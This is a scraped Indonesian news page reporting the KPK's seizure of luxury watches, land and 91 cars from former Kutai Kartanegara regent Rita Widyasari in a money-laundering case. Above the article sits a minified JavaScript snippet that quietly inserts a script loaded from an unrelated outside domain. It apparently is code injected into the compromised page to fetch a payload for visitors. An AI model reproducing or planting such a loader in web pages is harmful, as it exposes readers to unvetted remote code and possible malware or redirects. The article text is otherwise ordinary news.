(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Sebanyak 30 jam tangan mewah turut disita Komisi Pemberantasan Korupsi (KPK) dalam rangka penyidikan kasus dugaan Tindak Pidana Pencucian Uang (TPPU) yang melibatkan mantan Bupati Kutai Kartanegara (Kukar) Rita Widyasari. Jam tangan mewah itu terdiri dari beragam merek, sekelas Rolex, Richard Mille, Hublot.
KPK juga menyita lima bidang tanah dengan luas ribuan meter persegi di Kalimantan Timur.
“Tentu ini semua dilakukan penyitaan dalam rangka mengoptimalkan dugaan hasil kejahatan yang terus kami telusuri, kami kumpulkan. Nantinya tentu dalam proses persidangan jaksa KPK akan memohon kepada majelis hakim untuk melakukan perampasan dan diserahkan kepada negara,” kata Juru Bicara KPK Ali Fikri di gedung KPK, Jakarta, Kamis (6/6/2024) siang.
Selain jam tangan mewah dan tanah, KPK juga menyita 91 mobil mewah milik bupati Kukar periode 2010-2015 itu. Barang sitaan tersebut juga akan ditelusuri asal-usulnya sebagai bagian dari penyidikan perkara TPPU.
Baca juga: Sekda Banjar Buka Sosialisasi Pelaksanaan Survei Kepuasan Masyarakat (SKM) 2024
“Nanti tentu dalam proses persidangan jaksa KPK akan meminta atau memohon kepada majelis hakim untuk melakukan perampasan dan kemudian nanti diserahkan kepada negara, sejumlah aset yang saya kira ini jumlahnya cukup besar,” kata Ali.
“Jadi ini update secara global. Hingga hari ini, telah disita sekitar 536 dokumen, bukti elektronik,” tambahnya.
KPK telah merampungkan perkara gratifikasi yang melibatkan Rita Widyasari, dan saat ini tengah menyidik perkara TPPU sebagai bagian dari pengembangan perkara gratifikasi tersebut untuk mengoptimalkan pengembalian aset atau asset recovery kepada negara.
Untuk diketahui, mantan Bupati Kutai Kartanegara, Rita Widyasari, masih menjalani vonis 10 tahun penjara sejak 2017. Dalam kasus ini, anak kedua dari mantan Bupati Kutai Kartanegara Syaukani Hasan Rais itu dihukum membayar denda Rp600 juta subsider 6 bulan kurungan karena terbukti menerima gratifikasi sebesar Rp110,7 miliar terkait perizinan proyek dinas di Pemerintah Kabupaten Kutai Kartanegara, Kalimantan Timur. (Kanalkalimantan/Beritasatu.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.